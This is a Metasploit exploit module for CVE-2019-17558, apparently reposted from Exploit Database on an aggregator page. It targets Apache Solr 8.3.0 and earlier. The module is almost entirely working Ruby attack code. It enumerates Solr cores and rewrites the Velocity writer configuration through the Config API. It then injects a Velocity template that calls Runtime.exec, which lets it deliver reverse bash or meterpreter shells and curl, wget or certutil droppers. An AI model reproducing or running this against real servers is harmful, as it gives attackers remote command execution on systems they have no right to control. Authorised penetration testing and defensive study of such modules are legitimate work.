Apache Solr – Remote Code Execution via Velocity Template (Metasploit)

• Exploit Database
• 82 阅读

• 作者： Metasploit
  日期： 2020-04-16
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48338/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core/exploit/powershell'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name' => 'Apache Solr Remote Code Execution via Velocity Template',
  'Description'=> %q(
  This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
  Velocity template. Currently, this module only supports Solr basic authentication.
  
  From the Tenable advisory:
  An attacker could target a vulnerable Apache Solr instance by first identifying a list
  of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
  HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
  Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
  template parameter in a specially crafted Solr request, leading to RCE.
  ),
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  's00py', # Discovery and PoC
  'jas502n', # exploit code on Github
  'AleWong', # ExploitDB contribution, and exploit code on Github
  'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
  ],
  'References' =>
  [
  [ 'EDB', '47572' ],
  [ 'CVE', '2019-17558' ],
  [ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
  [ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
  [ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
  [ 'URL', 'https://github.com/jas502n/solr_rce'],
  [ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
  ],
  'Platform' => ['linux', 'unix', 'win'],
  'Targets'=>
  [
  [
  'Unix (in-memory)',
  {
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'Type' => :unix_memory,
  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
  }
  ],
  [
  'Linux (dropper)',
  {
  'Platform'=> 'linux',
  'Arch'=> [ARCH_X86, ARCH_X64],
  'Type'=> :linux_dropper,
  'DefaultOptions'=> { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
  'CmdStagerFlavor' => %w[curl wget]
  }
  ],
  [
  'x86/x64 Windows PowerShell',
  {
  'Platform'=> 'win',
  'Arch'=> [ARCH_X86, ARCH_X64],
  'Type'=> :windows_psh,
  'DefaultOptions'=> { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
  }
  ],
  [
  'x86/x64 Windows CmdStager',
  {
  'Platform'=> 'win',
  'Arch'=> [ARCH_X86, ARCH_X64],
  'Type'=> :windows_cmdstager,
  'DefaultOptions'=> { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
  'CmdStagerFlavor' => %w[vbs certutil]
  }
  ],
  [
  'Windows Exec',
  {
  'Platform'=> 'win',
  'Arch'=> ARCH_CMD,
  'Type'=> :windows_exec,
  'DefaultOptions'=> { 'PAYLOAD' => 'cmd/windows/generic' }
  }
  ],
  ],
  'DisclosureDate' => "2019-10-29", # ISO-8601 formatted
  'DefaultTarget'=> 0,
  'Privileged' => false
  )
  )
  
  register_options(
  [
  Opt::RPORT(8983),
  OptString.new('USERNAME', [false, 'Solr username', 'solr']),
  OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
  OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
  ]
  )
  end
  
  # if we are going to exploit, we only need one core to be exploitable
  @vuln_core = ""
  # OS specific stuff
  @target_platform = ""
  # if authentication is used
  @auth_string = ""
  
  def check_auth
  # see if authentication is required for the specified Solr instance
  auth_check = solr_get('uri' => normalize_uri(target_uri.path))
  
  # successfully connected?
  unless auth_check
  print_bad("Connection failed!")
  return nil
  end
  
  # if response code is not 200, then the Solr instance definitely requires authentication
  unless auth_check.code == 200
  # if authentication is required and creds are not provided, we cannot reliably check exploitability
  if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""
  print_bad("Credentials not provided, skipping credentialed check...")
  return nil
  end
  
  # otherwise, try the given creds
  auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
  attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)
  
  # successfully connected?
  unless attempt_auth
  print_bad("Connection failed!")
  return nil
  end
  # if the return code is not 200, then authentication definitely failed
  unless attempt_auth.code == 200
  print_bad("Invalid credentials!")
  return nil
  end
  
  store_valid_credential(
  user: datastore['USERNAME'],
  private: datastore['PASSWORD'],
  private_type: :password,
  proof: attempt_auth.to_s
  )
  
  @auth_string = auth_string
  end
  # a placeholder return value. Not requiring auth should throw no errors
  ""
  end
  
  # check for vulnerability existence
  def check
  auth_res = check_auth
  unless auth_res
  return CheckCode::Unknown("Authentication failed!")
  end
  
  # send a GET request to get Solr and system details
  ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)
  
  # can't connect? that's an automatic failure
  unless ver
  return CheckCode::Unknown("Connection failed!")
  end
  
  # convert to JSON
  ver_json = ver.get_json_document
  # get Solr version
  solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])
  print_status("Found Apache Solr #{solr_version}")
  # get OS version details
  @target_platform = ver_json['system']['name']
  target_arch = ver_json['system']['arch']
  target_osver = ver_json['system']['version']
  print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
  # uname doesn't show up for Windows, so run a check for that
  if ver_json['system']['uname']
  # print uname only when verbose
  vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
  end
  
  # the vulnerability is only present in Solr versions <= 8.3.0
  unless solr_version <= Gem::Version.new('8.3.0')
  return CheckCode::Safe("Running version of Solr is not vulnerable!")
  end
  
  # enumerate cores
  cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)
  
  # can't connect? that's yet another automatic failure
  unless cores
  return CheckCode::Unknown("Could not enumerate cores!")
  end
  
  # convert to JSON yet again
  cores_json = cores.get_json_document
  # draw up an array of all the cores
  cores_list = Array.new
  # get the core names
  cores_json['status'].keys.each do |core_name|
  cores_list.push(core_name)
  end
  
  # no cores? that means nothing to exploit.
  if cores_list.empty?
  return CheckCode::Safe("No cores found, nothing to exploit!")
  end
  
  # got cores? tell the operator which cores were found
  print_status("Found core(s): #{cores_list.join(', ')}")
  possibly_vulnerable_cores = {}
  
  cores_list.each do |core|
  # for each core, attempt to get config
  core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)
  
  # can't retrieve configuration for that core? go next
  unless core_config
  print_error("Could not retrieve configuration for core #{core}!")
  next
  end
  
  # convert to JSON
  core_config_json = core_config.get_json_document
  # if the core configuration does not include the Velocity Response Writer, it isn't vulnerable
  if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")
  vprint_good("Found Velocity Response Writer in use by core #{core}")
  if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"
  vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")
  possibly_vulnerable_cores.store(core, true)
  else
  # if params.resource.loader.enabled is false, we need to set it to true before exploitation
  print_warning("params.resource.loader.enabled for core #{core} is set to false.")
  possibly_vulnerable_cores.store(core, false)
  end
  else
  vprint_error("Velocity Response Writer not found in core #{core}")
  next
  end
  end
  
  # look at the array of possibly vulnerable cores
  if possibly_vulnerable_cores.empty?
  CheckCode::Safe("No cores are vulnerable!")
  else
  # if possible, pick a core that already has params.resource.loader.enabled set to true
  possibly_vulnerable_cores.each do |core|
  if core[1] == true
  @vuln_core = core
  break
  end
  end
  # otherwise, just pick the first one
  if @vuln_core.to_s == ""
  @vuln_core = possibly_vulnerable_cores.first
  end
  CheckCode::Vulnerable
  end
  end
  
  # the exploit method
  def exploit
  unless [CheckCode::Vulnerable].include? check
  fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"
  end
  
  print_status("Targeting core '#{@vuln_core[0]}'")
  
  # if params.resource.loader.enabled for that core is false
  if @vuln_core[1] != true
  # the new config in JSON format
  enable_params_resource_loader = {
  "update-queryresponsewriter": {
  "startup": "lazy",
  "name": "velocity",
  "class": "solr.VelocityResponseWriter",
  "template.base.dir": "",
  "solr.resource.loader.enabled": "true",
  "params.resource.loader.enabled": "true"
  }
  }.to_json
  
  opts_post = {
  'method'=> 'POST',
  'connection'=> 'Keep-Alive',
  'ctype' => 'application/json;charset=utf-8',
  'encode_params' => false,
  'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),
  'data'=> enable_params_resource_loader
  }
  
  unless @auth_string == ""
  opts_post.store('authorization', @auth_string)
  end
  
  print_status("params.resource.loader.enabled is false, setting it to true...")
  update_config = send_request_cgi(opts_post)
  
  unless update_config
  fail_with Failure::Unreachable, "Connection failed!"
  end
  
  # if we got anything other than a 200 back, the configuration update failed and the exploit won't work
  unless update_config.code == 200
  fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"
  end
  
  print_good("params.resource.loader.enabled is now set to true!")
  end
  
  # windows...
  if @target_platform.include? "Windows"
  # if target is wrong, warn and exit before doing anything
  unless target.name.include? "Windows"
  fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"
  end
  
  case target['Type']
  # PowerShell...
  when :windows_psh
  # need PowerShell for this
  winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
  unless winenv_path
  fail_with Failure::Unreachable, "Connection failed!"
  end
  
  # did the command to check for PATH execute?
  unless winenv_path.code == 200
  fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"
  end
  
  # is PowerShell in PATH?
  if /powershell/i =~ winenv_path.body.to_s
  # only interested in the contents of PATH. Everything before it is irrelevant
  paths = winenv_path.body.split('=')[1]
  # confirm that PowerShell exists in the PATH by checking each one
  paths.split(';').each do |path_val|
  # if PowerShell exists in PATH, then we are good to go
  unless /powershell/i =~ path_val
  next
  end
  
  print_good("Found Powershell at #{path_val}")
  # generate PowerShell command, encode with base64, and remove comspec
  psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
  # specify full path to PowerShell
  psh_cmd.insert(0, path_val)
  # exploit the thing
  execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
  break
  end
  else
  fail_with Failure::BadConfig, "PowerShell not found!"
  end
  # ... CmdStager ...
  when :windows_cmdstager
  print_status("Sending CmdStager payload...")
  execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
  # ... or plain old exec?
  when :windows_exec
  cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
  execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
  end
  end
  
  # ... or nix-based?
  if @target_platform.include? "Linux"
  # if target is wrong, warn and exit before doing anything
  if target.name.include? "Windows"
  fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"
  end
  
  case target['Type']
  when :linux_dropper
  execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
  when :unix_memory
  cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
  execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
  end
  end
  end
  
  # some prep work has to be done to work around the limitations of Java's Runtime.exec()
  def execute_cmdstager_begin(_opts)
  if @target_platform.include? "Windows"
  @cmd_list.each do |command|
  command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ")
  end
  else
  @cmd_list.each do |command|
  command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")
  end
  end
  end
  
  # sic 'em, bois!
  def execute_command(cmd, opts = {})
  # custom template which enables command execution
  template = <<~VELOCITY
  #set($x="")
  #set($rt=$x.class.forName("java.lang.Runtime"))
  #set($chr=$x.class.forName("java.lang.Character"))
  #set($str=$x.class.forName("java.lang.String"))
  VELOCITY
  
  # attempts to solve the quoting problem, partially successful
  if target.name.include?("Unix")
  template += <<~VELOCITY
  #set($ex=$rt.getRuntime().exec("#{cmd}"))
  VELOCITY
  else
  template += <<~VELOCITY
  #set($ex=$rt.getRuntime().exec('#{cmd}'))
  VELOCITY
  end
  
  template += <<~VELOCITY
  $ex.waitFor()
  VELOCITY
  
  # the next 2 lines cause problems with CmdStager, so it's only used when needed
  # during the check for PowerShell existence, or by specific payloads
  if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
  template += <<~VELOCITY
  #set($out=$ex.getInputStream())
  #if($out.available())
  #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
  #else
  #end
  VELOCITY
  end
  
  # execute the exploit...
  raw_result = solr_get(
  'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
  'auth' => opts['auth_string'],
  'vars_get' =>{
  'q' => '1',
  'wt'=> 'velocity',
  'v.template'=> 'custom',
  'v.template.custom' => template
  }
  )
  
  # Executing PATH always gives a result, so it can return safely
  if opts['winenv_check']
  return raw_result
  end
  
  # for printing command output
  unless raw_result.nil?
  unless raw_result.code == 200
  fail_with Failure::PayloadFailed, "Payload failed to execute!"
  end
  
  # to get pretty output
  result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last
  unless result_inter.nil?
  final_result = result_inter.split("\n").first.strip
  print_good(final_result)
  end
  end
  end
  
  # make sending requests easier
  def solr_get(opts = {})
  send_request_cgi_opts = {
  'method'=> 'GET',
  'connection'=> 'Keep-Alive',
  'uri' => opts['uri']
  }
  
  # @auth_string defaults to "" if no authentication is necessary
  # otherwise, authentication is required
  if opts['auth'] != ""
  send_request_cgi_opts.store('authorization', opts['auth'])
  end
  
  # a bit unrefined, but should suffice in this case
  if opts['vars_get']
  send_request_cgi_opts.store('vars_get', opts['vars_get'])
  end
  
  send_request_cgi(send_request_cgi_opts)
  end
  end
  

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